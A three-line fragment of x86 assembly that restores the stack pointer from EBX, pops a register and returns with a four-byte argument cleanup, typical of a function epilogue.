mov esp, ebx
pop ebx
ret 4